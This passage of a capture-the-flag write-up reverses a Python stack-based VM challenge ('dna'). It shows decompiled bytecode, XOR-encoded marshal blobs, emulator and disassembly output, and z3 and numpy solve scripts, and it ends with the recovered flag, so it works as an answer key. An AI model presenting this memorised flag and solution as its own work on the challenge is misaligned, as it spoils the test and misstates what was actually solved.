[b\u0026#39;\\x8coooooooooooonooolooo,ooo\\x9cSooo\\x06o\\x12o\\x1bo\\x0bnvo\\x13o\\x0bmSo\\x1bo\\x0blvo\\x13o\\x0bnSo\\x1bo\\x0bkvo\\x13o\\x0blSo\\x1bo\\x0bmvo\\x13o\\x0bkSo\\x13o\\x0eo\\x0bo\u0026lt;oFj!\\xb5n;\\xb5n.\\xb5n(\\xb5n,\\xc6n\\xb5m\\x01\\x02\\xc6n\\xb5l\\x1b\\x02\\x1f\\xc6o\\x1deooo\\x95fS\\x1a\\x01\\x03\\x1a\\x0c\\x04\\x16Q\\xb5h\\x1a\\x01\\x03\\x1a\\x0c\\x04\\x16booo\\x9ccoookmcncncncngn\u0026#39;, b\u0026#39;\\x96uuuuuuuuuuuuruuu}uuu6uuu\\x86\\x11uuu\\x11t\\x08u\\x11w\\x08t\\x11v\\x08w\\x11q\\x11p\\xf1u\\tu1u\\xf6t\\x08v\\tu\\tt\\tw\\x13v1u(n\\x08q\\x01u\\x01t\\x01w\\xd5v\\xd4u\\xf6t\\xf6t1u(e)w\\x08p\\x08s\\tv\\tspulu\\x01w\\tq\\tpluluMuvuIu\\x04i\\x04g\\tv\\x14w\\x11u\u0026amp;u\\\\s;\\xafq426!\\xafq!642\\xafq6!24\\x16tuuuuuuuuuuuwuuusuuu\u0026amp;uuu\\x86ouuu\\x1cu\\tu(|\\x08t\\tt\\x01u\\x01t\\xd5w\\xd4u\\xf6t\\xe6w\\x04w\u0026amp;u\\\\u\\xdcv\\xafv\\x06\\x00\\x18\\xafw\\x1b\\x18\\xafs\\x03\\x14\\x19\\x00\\x10\\x06\\xdcw\\xafw[E\\xaft\\x16\\xdcu\\x07xuuu\\x8f|I\\x00\\x1b\\x19\\x00\\x16\\x1e\\x0cK\\xafr\\x00\\x1b\\x19\\x00\\x16\\x1e\\x0cnuuu\\x86wuuuou\\x8fh\\x00\\x1b\\x19\\x00\\x16\\x1e\\x0c*G[I\\x19\\x1a\\x16\\x14\\x19\\x06K[I\\x11\\x1c\\x16\\x01\\x16\\x1a\\x18\\x05K\\xdcq\\xaf|\\x10\\x1b\\x00\\x18\\x10\\x07\\x14\\x01\\x10\\xafs\\x06\\x1a\\x07\\x01\\x10\\x11\\x07}uuu\\xafq\\x1e\\x10\\x0c\\x06\\xdcr\\xafw\\x06D\\xafw\\x06G\\xafw\\x06F\\xafv\\x01\\x18\\x05\\xaft\\x06\\xaft\\x1c\\x07yuuu\\x07xuuu\\x07xuuu\\x07{uuu\\x07zuuucuuu\\x86guuuqwqtqt{t{tmtotw\\x8a}w\u0026#39;, b\u0026#34;\\x8aiiiiiiiiiiiihiiiniiijiii\\x9a/iii\\x1di\\rh\\xeah\\xe0i\\xe1i\\xc9h\\x1di\\rk\\xeah\\xc9k\\rj\\rm\\xedi\\x1dj\\xc9m\\xc8i\\xc8k\\xc8hhi.i\\xeei\\x0fh\\rl\\ro\\xeda\\ro\\x1dl\\xeaj\\x14i\\x15i\\x1dj\\xeah\\x08j\\ri:i@n\u0026#39;\\xb3o\\x1b\\x08\\x07\\r\\x06\\x04\\xb3`\\x0f\\x1c\\x07\\n\\x1d\\x06\\x06\\x05\\x1a\\nkiiiiiiiiiiikiiikiii:iii\\x9aaiii\\x15i\\x15h(i:i@h\u0026#39;\\xc0i\\xc0k\\xb3h\\x11\\xb3h\\x10\\x1bliii\\x1bliii\\x93`U\\x1c\\x07\\x05\\x1c\\n\\x02\\x10W\\xb3n\\x1c\\x07\\x05\\x1c\\n\\x02\\x10Miii\\x9akiiiai\\x93r\\x1c\\x07\\x05\\x1c\\n\\x02\\x106ZGU\\x05\\x06\\n\\x08\\x05\\x1aWGU\\x05\\x08\\x04\\x0b\\r\\x08W\\niiiiiiiiiiiiiiiijiiiiiii\\x9aCiii\\x0ci3h\\ri3k\\xeei\\xeeh\\x0fk\\rh\\rk\\xeda3j\\xeei\\x0fh\\rj\\rm\\xeda3m\\xeeimi3l:i@l\\x93s\\x1c\\x07\\x05\\x1c\\n\\x02\\x106ZGU\\x05\\x06\\n\\x08\\x05\\x1aWG\\x1c\\x07\\x05\\x1c\\n\\x02\\x10\\nkiiiiiiiiiiimiiiliiiziii\\x9a-iii\\x1di\\xeai\\xc9h\\x15h\\xc8hhi\\x1dk\\rh\\xeah\\x14k\\xe1h\\xc9j\\x15k\\xc8hhi\\x1dm\\rk\\xeah-i4e\\x14j\\x15h\\x15k\\x15jpipi\\x15i\\rh\\x15jpiUi\\x18z\\ri:i@j\u0026#39;\\xb3m(*.=\\x80miii\\xc0l\\xb3l\\x1a\\x1c\\x19\\x0c\\x1b\\xb3a66\\x00\\x07\\x00\\x1d66\\xb3m\\x05\\x00\\x1a\\x1d\\xb3n\\x1a\\x01\\x1c\\x0f\\x0f\\x05\\x0c\\xb3l\\x1b\\x08\\x07\\x0e\\x0c\\xc0m\\xb3m\\x1a\\x0c\\x05\\x0f\\xb3n\\x04\\x08\\x19\\x19\\x00\\x07\\x0e\\xb3m\\x02\\x0c\\x10\\x1a\\xb3h\\x00\\xc0k\\xb3`66\\n\\x05\\x08\\x1a\\x1a66\\xb3h\\x1b\\x1bliii\\x1b`iii\\x1bciiiOiii\\x9aeiiiehahcheh\\x7fhm\\x96\\x93J\\x1c\\x07\\x05\\x1c\\n\\x02\\x106ZGU\\x05\\x06\\n\\x08\\x05\\x1aWG\\x1c\\x07\\x05\\x1c\\n\\x02\\x10G66\\x00\\x07\\x00\\x1d66\\nkiiiiiiiiiiiliiiliiiziii\\x9a;iii\\x1di\\rh\\xeah\\x14k\\x1di\\rk\\xeah\\x14j`i\\x15k\\xc9h\\rm\\xc8h\\x14m\\x1dk\\xeei\\x0fh\\rl\\ro\\xeda\\x15j\\xc9j\\x15m\\xc8h\\xc9m\\xc8i\\ri\\rn\\xeckpi-i\\xeah\\xeah\\x1bA\\x1dl\\xeai\\xc9o\\xe1i\\xc8h:i\\x18`@a\u0026#39;\\x1bkiii\\xb3n\\x01\\x08\\x1a\\x01\\x05\\x00\\x0b=\\x80Iiii\\nhiiiiiiiiiiikiiimiiiZiii\\x9auiii\\xe8i\\x15i4`\\x14h\\x15h\\x1di\\xe1i\\xeah\\x02k?ihi\\x18k\\ri:i@h\u0026#39;\\xc0h\\xb3j\\x06\\x1b\\r\\xc0k\\xb3kGY\\x1bniii\\xc0h\\xb3j\\x02\\x0c\\x10\\x1bliii\\x1b`iii\\x1bciii[iii\\x9amiiik\\xe9si\\x93P\\x1c\\x07\\x05\\x1c\\n\\x02\\x106ZGU\\x05\\x06\\n\\x08\\x05\\x1aWG\\x1c\\x07\\x05\\x1c\\n\\x02\\x10G66\\x0e\\x0c\\x1d\\x00\\x1d\\x0c\\x0466GU\\x05\\x06\\n\\x08\\x05\\x1aWGU\\x0e\\x0c\\x07\\x0c\\x11\\x19\\x1bW\\x80hiii\\xc0n\\xb3c66\\x00\\x04\\x19\\x06\\x1b\\x1d66\\xb3`\\x1b\\x08\\x07\\r\\x0b\\x10\\x1d\\x0c\\x1a\\xb3j\\x08\\x05\\x05\\xb3o\\x1a\\x01\\x08[\\\\_\\xb3o\\r\\x00\\x0e\\x0c\\x1a\\x1d\\x1bziii\\xb3b66\\x0e\\x0c\\x1d\\x00\\x1d\\x0c\\x0466\\xc0l\\x1bpiii\\x1bBiii\\xb3m\\x01\\x05\\x00\\x0b\\xb3m\\x1b\\x05\\x00\\x0b\\xb3h\\x0b\\xc0h\\x1bwiii\\x1bCiii\\x1b`iii\\x1bciiiDiii\\x9agiiiahahkhchAhehk\\x94\\x93O\\x1c\\x07\\x05\\x1c\\n\\x02\\x106ZGU\\x05\\x06\\n\\x08\\x05\\x1aWG\\x1c\\x07\\x05\\x1c\\n\\x02\\x10G66\\x0e\\x0c\\x1d\\x00\\x1d\\x0c\\x0466\\xc0o\\xb3a66\\x07\\x08\\x04\\x0c66\\xb3c66\\x04\\x06\\r\\x1c\\x05\\x0c66\\xb3e66\\x18\\x1c\\x08\\x05\\x07\\x08\\x04\\x0c66\\x1b}iii\\x1b\\\\iii\\xb3d66\\n\\x05\\x08\\x1a\\x1a\\n\\x0c\\x05\\x0566\\x1bliii\\xc0h\\x1bviii\\x1bSiii\\x1b`iii\\x1bciiiLiii\\x9aoiiiaigh}n\\x1bciii\\xc0o\\x1bYiii\\xb3m\\x1a\\x0c\\x0c\\r\\xb3o\\x1b\\x0c\\r\\x1c\\n\\x0c\\xb3k\\x07\\x04\\xb3o\\x1f\\x08\\x05\\x1c\\x0c\\x1a\\xb3m\\r\\x00\\n\\x1d\\xc0h\\x1bciii\\x1bliii\\x1b+iii\\x1b`iii\\x1bciiiHiii\\x9aaiiiakwh}hey\u0026#34;, b\u0026#39;\\x82aaaaaaaaaaaacaaagaaa\u0026#34;aaa\\x92]aaa\u0026amp;a\\x05`\\x05c\\xe5a\\x05c\\x15a\\xe2b\\x1ca\u0026amp;a\\x05b\\x05e\\xe5a\\x05e\\x15`\\x1da\\x05d\\xece\\x1c`\\x15c\\x05g\\x15`\\x15b\\xe2`\\xfaa\\x05f\\xfcb\\xe2``a\\x05a2aHi/\\x02aaaaaaaaaaaaaaaabaaaaaaa\\x92Iaaa\\x04a;`\\x05a;c\\xe6a\\x07`\\x05`\\x05c\\xe5i;b\\xe6a\\x07`\\x05b\\x05e\\xe5i;e\\xe6aea;d2aHd\\x9bt\\x14\\x0f\\r\\x14\\x02\\n\\x18\u0026gt;UO]\\r\\x0e\\x02\\x00\\r\\x12_O,,\\x02eaaaaaaaaaaaeaaagaaaraaa\\x92saaa\\x15a\\xe2a\\xc1`\\x1da\\x1d`\\x1dc\\x1db\\xc0e2aH`/\\xc8c\\xbbd\\x12\\x14\\x11\\x04\\x13\\xbbf\u0026gt;\u0026gt;\\x0f\\x04\\x16\u0026gt;\u0026gt;\\xc8e\\xbbb\\x02\\r\\x12\\xbbe\\x0f\\x00\\x0c\\x04\\xbbd\\x03\\x00\\x12\\x04\\x12\\xbbb\\x05\\x02\\x15\\xc8`\\xbbh\u0026gt;\u0026gt;\\x02\\r\\x00\\x12\\x12\u0026gt;\u0026gt;\\xc8a\\x9bh]\\x14\\x0f\\r\\x14\\x02\\n\\x18_\\xbbf\\x14\\x0f\\r\\x14\\x02\\n\\x18Zaaa\\x92caaas`\\x9b|\\x14\\x0f\\r\\x14\\x02\\n\\x18\u0026gt;UO]\\r\\x0e\\x02\\x00\\r\\x12_O,,O\u0026gt;\u0026gt;\\x0f\\x04\\x16\u0026gt;\u0026gt;\\x02`aaaaaaaaaaafaaadaaa~aaa\\x92\\x05aaa\\x15a\\xe2a\\x0b`\\x1d`\\x08a\\x1dc\\xc5`\\xef`\\x1cb\\x15c\\x1db\\xc1b\\xc0a\\xe2`\\x1ce\\x1de\\x05a\\x05a\\x05`\\xe4bxa\\x1de\\x05c\\x05a\\x05`\\xe4bxava\\x1ce\\x15e\\x15d\\x1db\\xc1g\\xc0a\\xe2`\\xe2`%a\u0026lt;k=c\\x1cd\\x1cg\\x1de\\x1ddxa\\x1db\\x1dg]a\\x10D\\x1db2aHb/\\x88caaa\\x88`aaa\\xc8f\\x13gaaa\\xbbi\u0026gt;\u0026gt;\\x02\\x00\\r\\r\u0026gt;\u0026gt;\\xbbe\\r\\x08\\x12\\x15\\xbbg\\x17\\x00\\r\\x14\\x04\\x12\\xbbh\\x04\\x0f\\x14\\x0c\\x04\\x13\\x00\\x15\\x04\\xbbg\\x12\\x0e\\x13\\x15\\x04\\x05\\xbbe\\n\\x04\\x18\\x12\\xc8f\\x13haaa\\xbbe\\x00\\x13\\x06\\x12\\xbbg\\n\\x16\\x00\\x13\\x06\\x12\\xbbi\\x08\\x0f\\x12\\x15\\x00\\x0f\\x02\\x04\\xbbe\\x17\\x00\\r\\x12\\xbb`\\x08\\xbb`\\n\\x13laaa\\x13naaa\\x13qaaa\\x13paaa_aaa\\x92maaas`m`}`y`o`e`\\x9b\\x7f\\x14\\x0f\\r\\x14\\x02\\n\\x18\u0026gt;UO]\\r\\x0e\\x02\\x00\\r\\x12_O,,O\u0026gt;\u0026gt;\\x02\\x00\\r\\r\u0026gt;\u0026gt;\\xc8g\\xbbi\u0026gt;\u0026gt;\\x0f\\x00\\x0c\\x04\u0026gt;\u0026gt;\\xbbk\u0026gt;\u0026gt;\\x0c\\x0e\\x05\\x14\\r\\x04\u0026gt;\u0026gt;\\xbbm\u0026gt;\u0026gt;\\x10\\x14\\x00\\r\\x0f\\x00\\x0c\\x04\u0026gt;\u0026gt;\\x13faaa\\x13yaaa\\xbbl\u0026gt;\u0026gt;\\x02\\r\\x00\\x12\\x12\\x02\\x04\\r\\r\u0026gt;\u0026gt;\\x13naaa\\x13naaa\\x13laaa\\x13qaaa\\x13paaa[aaa\\x92gaaaiam`ub\\xbbc,,\\x02aaaaaaaaaaaaaaaa`aaa!aaa\\x92maaa\\x04a;`\\x05a;c\\x05`2aHc\\x9bt\\x14\\x0f\\r\\x14\\x02\\n\\x18\u0026gt;UO]\\r\\x0e\\x02\\x00\\r\\x12_O,%/\\xc8b\\x13Iaaa\\x13Haaa\\x13Kaaa\\x13naaa\\x13naaa\\x13naaa\\x13qaaa\\x13paaa\\\u0026#39;aaa\\x92eaaaiae`\\xbbc,%\\xc8`\\xbbh\\x0c\\x04\\x15\\x00\\x02\\r\\x00\\x12\\x12\\x9b@\\x06\\r\\x0e\\x03\\x00\\r\\x12IH:F\\x0f\\x14\\x02\\r\\x04\\x0e\\x15\\x08\\x05\\x04\u0026gt;\\x0c\\x00\\x11F\u0026lt;A\\\\A,%I\\x9b`H\\xc8e\\xbbe\\x15\\x18\\x11\\x04\\xbbe\\x05\\x08\\x02\\x15\\xbbe\\x04\\x19\\x04\\x02\\xbbc\\x0f\\x0c\\xc8c\\x13Laaa\\x13Saaa\\x13naaa\\x13naaa\\x13qaaa\\x13paaaVaaa\\x92gaaaqbumyb\u0026#39;] trans = lambda s: sum((nm[c] \u0026lt;\u0026lt; 2 * i for i, c in enumerate(s))) if len(sys.argv)!= 2: print(f\u0026#39;Usage: {sys.argv[0]} \u0026lt;dna_file\u0026gt;\u0026#39;) sys.exit(1) code = open(sys.argv[1]).read() flag = input(\u0026#39;\u0026gt; \u0026#39;).encode() if len(flag)!= 56: exit(\u0026#39;WRONG!\u0026#39;) if flag[:6]!= b\u0026#39;.;,;.{\u0026#39;: exit(\u0026#39;WRONG!\u0026#39;) if flag[(-1)]!= 125: exit(\u0026#39;WRONG!\u0026#39;) flag = flag[6:(-1)] for i in range(len(flag)): m[640 + i] = flag[i] pc = 0 while pc \u0026lt; len(code): pri, pro = map(trans, [code[pc:pc + 2], code[pc + 2:pc + 12]]) @pri case 0: s.append(pro) pc += 12 else: # inserted case 1: if not s: raise Exception(\u0026#39;Stack underflow\u0026#39;) s.pop() pc += 2 else: # inserted case 2: if pro not in m: raise Exception(f\u0026#39;Uninitialized memory access at {pro}\u0026#39;) s.append(m[pro]) pc += 12 else: # inserted case 3: if not s: raise Exception(\u0026#39;Stack underflow\u0026#39;) m[pro] = s.pop() pc += 12 else: # inserted case 4: if len(s) \u0026lt; 2: raise Exception(\u0026#39;Stack underflow\u0026#39;) a, b = (s.pop(), s.pop()) s.append(a + b) pc += 2 else: # inserted case 5: if len(s) \u0026lt; 2: raise Exception(\u0026#39;Stack underflow\u0026#39;) a, b = (s.pop(), s.pop()) s.append(b - a) pc += 2 else: # inserted case 6: if len(s) \u0026lt; 2: raise Exception(\u0026#39;Stack underflow\u0026#39;) a, b = (s.pop(), s.pop()) s.append(a * b) pc += 2 else: # inserted case 7: if len(s) \u0026lt; 2: raise Exception(\u0026#39;Stack underflow\u0026#39;) a, b = (s.pop(), s.pop()) if a == 0: raise Exception(\u0026#39;Division by zero\u0026#39;) s.append(b % a) pc += 2 else: # inserted case 8: if len(s) \u0026lt; 2: raise Exception(\u0026#39;Stack underflow\u0026#39;) a, b = (s.pop(), s.pop()) s.append(1 if a == b else 0) pc += 2 else: # inserted case 9: pc = pro else: # inserted case 10: if not s: raise Exception(\u0026#39;Stack underflow\u0026#39;) if s.pop() == 1: pc = pro else: # inserted pc += 12 else: # inserted case 11: if not s: raise Exception(\u0026#39;Stack underflow\u0026#39;) if s.pop()!= 1: pc = pro else: # inserted pc += 12 else: # inserted case 12: if not s: raise Exception(\u0026#39;Stack underflow\u0026#39;) print(chr(s.pop()), end=\u0026#39;\u0026#39;) pc += 2 else: # inserted case 13: if not s: raise Exception(\u0026#39;Stack underflow\u0026#39;) key = s.pop() def f(): return f.__code__ = marshal.loads(bytes([b ^ key for b in unlucky.pop(0)])) f() pc += 2 else: # inserted case 14: if len(s) \u0026lt; 2: raise Exception(\u0026#39;Stack underflow\u0026#39;) a, b = (s.pop(), s.pop()) if a not in nm or b not in nm: raise Exception(\u0026#39;Invalid\u0026#39;) nm[a], nm[b] = (nm[b], nm[a]) pc += 2 else: # inserted case 15: break we can see that it\u0026rsquo;s a simple stack based vm, the flag is loaded at 0x280, next thing i did was to make a disasembler for the vm, you can check it in here\nit gave me the following diassembly (truncated):\n0x0 PUSH [0x280] 0xc PUSH 0x6a 0x18 MULT 0x1a PUSH [0x281] 0x26 PUSH 0x1b 0x32 MULT ... 0x4e0 PUSH [0x2b0] 0x4ec PUSH 0xa1 0x4f8 MULT 0x4fa ADD 0x4fc ADD ... 0x558 ADD 0x55a [0x1000] = POP 0x566 PUSH [0x280] 0x572 PUSH 0x38 0x57e MULT ... 0x3b62 PUSH [0x29a] 0x3b6e CALL MARSHAL 0x3b70 CALL MARSHAL 0x3b72 HALT 0x3b74 MOD 0x3b76 CALL MARSHAL 0x3b78 HALT 0x3b7a HALT 0x3b7c HALT 0x3b7e JMP 0x1fffe IF POP != 1 0x3b8a CALL MARSHAL 0x3b8c PUTC(POP) 0x3b8e MOD 0x3b90 CALL MARSHAL the first thing i noticed is that it is taking chars of the flag and multiplying them with constants then adds them, this is a dot product (which made me pretty convinced it a linear system, i didn\u0026rsquo;t use this in my first solve tho), after that it is invoking instruction 14, which calls marshal code using a key, in this case the key is a flag char, i didn\u0026rsquo;t reverse the python bytecode when solving the chall, afrer that it does some stuff, at this point i got tired of reading the disassembly and decided to make my own emulator so i can debug it, you can find it here\nafter running the vm with an example flag i got this\n$ py vm.py ./dna/vm.dna \u0026gt; .;,;.{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} MARSHAL: 65 Traceback (most recent call last): File \u0026#34;/home/player/ctfs/smiley/dna/vm.py\u0026#34;, line 117, in \u0026lt;module\u0026gt; f.__code__ = marshal.loads(bytes([b ^ key for b in unlucky.pop(0)])) ValueError: bad marshal data (unknown type code) this is because the key (which is a character from the flag) is wrong, after bruteforcing the keys until i got no error i was left with\n.;,;.{AAAAAAAAAAAAAAAAAAAAAAiAAAouAAAAAaAAAAAAAAAAAAAAA} now running the vm again we get:\nMARSHAL: 111 MARSHAL: 117 MARSHAL: 105 MARSHAL: 97 CMPEQ 0xa8f2c 0x6b0ce CMPEQ 0x952d6 0x60833 CMPEQ 0xa0cf4 0x67b2e CMPEQ 0x87e87 0x576cb CMPEQ 0x8fbb8 0x5d2be CMPEQ 0x996f6 0x62e12 CMPEQ 0xa0eba 0x65f0d CMPEQ 0x981a4 0x61bd6 CMPEQ 0x90214 0x5ec71 CMPEQ 0xa3c6f 0x67bc8 CMPEQ 0xb36f0 0x7396d CMPEQ 0xa9750 0x6e79d CMPEQ 0xa4697 0x6d0f2 CMPEQ 0xa52a5 0x682f8 CMPEQ 0x9bd69 0x65dc8 CMPEQ 0xb24c1 0x71555 CMPEQ 0x9f053 0x64bbf CMPEQ 0x95a53 0x646a9 CMPEQ 0x95e95 0x5fc1a CMPEQ 0xb0750 0x6f3f5 CMPEQ 0xa1ad8 0x64911 CMPEQ 0x949d0 0x5f763 CMPEQ 0x922ab 0x5e00f CMPEQ 0x990f4 0x6058c CMPEQ 0xa0e4a 0x674f6 CMPEQ 0x8749a 0x57963 CMPEQ 0x9931c 0x613df CMPEQ 0x97981 0x5f156 CMPEQ 0xa01c2 0x67f51 CMPEQ 0x92057 0x5c18d CMPEQ 0xa24ad 0x67e15 CMPEQ 0xbcae1 0x7a2d5 CMPEQ 0xad88c 0x711d2 CMPEQ 0xa3833 0x6742d CMPEQ 0x8cce6 0x5ba3b CMPEQ 0xaecb6 0x6e958 CMPEQ 0xa6859 0x6bab8 CMPEQ 0xa7cac 0x6cd1e CMPEQ 0xc4c8d 0x7ecc5 CMPEQ 0xa1427 0x66c4d CMPEQ 0xb1df7 0x72a1f CMPEQ 0xa8600 0x6bd4d CMPEQ 0xb652c 0x7820c CMPEQ 0x91f28 0x5f805 CMPEQ 0x99b79 0x61bf0 CMPEQ 0x8edb6 0x5d3e6 CMPEQ 0xa5c30 0x68bde CMPEQ 0xa26ea 0x68231 CMPEQ 0xad889 0x70f95 CMPEQ 0x31 0x0 JMP 0x10ebc IF POP != 1 PUTC(POP) WPUTC(POP) RPUTC(POP) OPUTC(POP) NPUTC(POP) GPUTC(POP) !PUTC(POP) it printed wrong, it did 49 comparisions (here i was sure that it is comparing the resulting vectors from the matrix multiplication of the linear system), it prints \u0026ldquo;WRONG!\u0026rdquo; if at least one fails.\nThe First solution (unintended) after looking at the comparisions i decided to use z3, by supplying a symbolic flag then adding constraints when the comparisions happen the script is here the script defines the flag as a list of symbolic 8 bitvecs (leaving the keys for the marshal code) using\nflag= b\u0026#34;.;,;.{AAAAAAAAAAAAAAAAAAAAAAiAAAouAAAAAaAAAAAAAAAAAAAAA}\u0026#34; flag = list(flag[6:(-1)]) for i in range(len(flag)): if flag[i] == ord(\u0026#39;A\u0026#39;): flag[i]= BitVec(f\u0026#39;bv_{i}\u0026#39;, 8) and the cmp instruction is now like this:\nelif pri == 8: if len(s) \u0026lt; 2: raise Exception(\u0026#39;Stack underflow\u0026#39;) a, b = (s.pop(), s.pop()) s.append(1 if a == b else 0) # this check is for the last comparision, in here i run the z3 check if type(a) == int and type(b) == int and a == 49: if sol.check() == sat: model = sol.model() print(\u0026#39;.;,;,{\u0026#39;, end=\u0026#39;\u0026#39;) for i in range(49): try: print(chr(model[flag[i]].as_long()),end=\u0026#39;\u0026#39;) except (KeyError,IndexError): print(chr(flag[i]), end=\u0026#39;\u0026#39;) print(\u0026#39;}\u0026#39;) else: print(\u0026#39;unsat\u0026#39;) exit(0) # otherwise just add the constraint sol.add(a == b) pc+=2 i run it and get the flag: .;,;,{we_ought_to_start_storing_our_data_as_dna_instead}\nThe Second Solution (intended) (after the ctf ended) i talked before about it being a linear system, in this solve i tried to extract the values of the matrix and the result vector to solve this system, the reason i used z3 in the first solution is because i couldn\u0026rsquo;t extract all the matrix values from the disassembly (the first part of it has only 11 rows), after the ctf ended i thought of an idea, by multiplying a matrix with a vector/input flag (1, 0, 0 \u0026hellip;) the resulting vector will be the first column of the matrix\nand since i can extract the resulting vector, i can extract each column of the matrix, i just needed a bit of scripting.\nsince i am setting all the flag bytes to 0, i had to hard code the keys in instruction 14 like this\nelif pri == 13: if not s: raise Exception(\u0026#39;Stack underflow\u0026#39;) key = s.pop() if len(unlucky) == 4: key = 111 elif len(unlucky) == 3: key = 117 elif len(unlucky) == 2: key = 105 elif len(unlucky) == 1: key = 97 print(\u0026#34;MARSHAL: \u0026#34;, key) def f(): return f.__code__ = marshal.loads(bytes([b ^ key for b in unlucky.pop(0)])) f() pc+=2 to extract the columns and the result vector i used this:\nmatrix = np.zeros((49, 49), dtype=int) # matrix of values rslt = np.zeros((49), dtype=int) # the compared vector ... flag = list(b\u0026#39;\\x00\u0026#39;*49) flag[index] = 1 ... elif pri == 8: if len(s) \u0026lt; 2: raise Exception(\u0026#39;Stack underflow\u0026#39;) a, b = (s.pop(), s.pop()) s.append(1 if a == b else 0) if a == 0x31 and b == 0: if index == 0: rslt[:] = e # this is the last comparision, break at it matrix[:, index] = column print(index, column, e) break else: if index == 0: e.append(a) column.append(b) print(f\u0026#34;CMPEQ {hex(a)} {hex(b)}\u0026#34;) pc+=2 after extracting the values we can solve and print the flag using a simple linalg.solve from numpy:\nflag = np.linalg.solve(matrix, rslt) print(\u0026#39;\u0026#39;.join(chr(round(val)) for val in flag)) full script here\nafter running it i get the flag: .;,;,{we_ought_to_start_storing_our_data_as_dna_instead}\n","content_html":"\u003ch2 id=\"tldr\"\u003eTL;DR\u003c/h2\u003e\n\u003cp\u003eThis challenge features a vm that takes your flag, treats it as a vector and multiples it by a matrix of constant values, then compares the resulting vector to another vector, if the comparision is correct it prints \u0026ldquo;CORRECT!\u0026rdquo;\u003c/p\u003e\n\u003ch2 id=\"initial-analysis\"\u003eInitial Analysis\u003c/h2\u003e\n\u003cp\u003ewe are given two files: \u003ccode\u003emain.cpython-310.pyc\u003c/code\u003e which is our python compiled vm and \u003ccode\u003evm.dna\u003c/code\u003e which is the vm code, the first thing i did was open \u003ca href=\"https://pylingual.io/\"\u003ehttps://pylingual.io\u003c/a\u003e to get the decompilation of the pyc, it gave me:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Decompiled with PyLingual (https://pylingual.io)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Internal filename: main.py\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Bytecode version: 3.10.0rc2 (3439)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Source timestamp: 2025-06-06 03:24:45 UTC (1749180285)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e \u003cspan style=\"color:#111\"\u003emarshal\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esys\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e[]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003em\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003enm\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;A\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;T\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;G\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;C\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eunlucky\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x8c\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eoooooooooooonooolooo,ooo\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x9c\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eSooo\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x06\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eo\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x12\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eo\u003c/span\u003e\u003cspan 